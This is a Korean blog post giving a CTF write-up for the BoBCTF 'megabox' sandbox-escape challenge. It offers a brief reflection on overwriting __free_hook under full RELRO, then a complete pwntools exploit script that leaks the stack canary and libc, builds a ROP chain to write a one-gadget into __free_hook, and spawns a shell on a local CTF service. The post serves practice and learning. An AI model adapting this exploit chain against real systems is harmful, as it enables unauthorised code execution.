Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

BoBCTF - megabox 본문

Security/Pwnable

BoBCTF - megabox

Cdor1 2017. 1. 5. 17:59

후기: 비오비가 아닌 컴돌이의 비오비ctf 문제풀기..

처음 도전해보는 sandbox escape문제였다. 함수인 fn이 mmap으로 할당해준 공간에 들어가게 되어

비닐포장하듯이 안에 들어가게되는데 이렇게 제한된 공간에서 인가되지 않은 정보까지 건들수 있도록 익스플로잇 하는것이

샌드박스 이스케이프라고 한다. (이 문제에선 shell)

realloc이 사용되는 프로그램에서 full relro가 걸려있으면 ralloc_hook을

free가 사용되는 프로그램에서 full relro가 걸려있으면 free_hook을 덮으면 익스에 성공할 수 있다는 것을 알았다.



from pwn import *
s = remote('localhost', 4000)
def name(name):
	print s.recvuntil('...')
	s.sendline(name)

def write(feedback):
	print s.recvuntil('>>>')
	s.sendline('1')
	print s.recvuntil('>>>')
	s.sendline(feedback)

def read():
	print s.recvuntil('>>>')
	s.sendline('2')

poprdi = 0x401043
gets = 0x4009C0
moveax0 = 0x400E48
name('a'*32)
write('a'*136)
read()
print s.recvuntil('a'*136)
canary = u64(s.recv(8))
log.info('canary : ' + hex(canary))

#raw_input()
libc_leak = 'A'*136 + p64(canary) + 'A'*8
write(libc_leak)
read()
print s.recvuntil(libc_leak)
leak = u64(s.recv(8))
libc_base = leak - 0xFA300
oneshot = libc_base + 0x4647c
free_hook = libc_base + 0x3C0A10

log.info('leak : ' + hex(leak))
log.info('libc_base : ' + hex(libc_base))
log.info('oneshot : ' + hex(oneshot))
log.info('free_hook : ' + hex(free_hook))

#raw_input()
payload = 'A'*136 
payload += p64(canary) 
payload += p64(moveax0)
payload += p64(poprdi)
payload += p64(free_hook)
payload += p64(gets)
payload += p64(moveax0)

write(payload)

#raw_input()

s.sendline('3')
s.sendline(p64(oneshot))
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

2016 MMA CTF diary  (0) 2017.01.07
HolyShield diary  (1) 2017.01.06
Christmasctf2016 - House of Daehee  (0) 2017.01.04
SECCON CTF 2016 jmper  (0) 2016.12.28
SECCON CTF 2016 chat  (0) 2016.12.18
Comments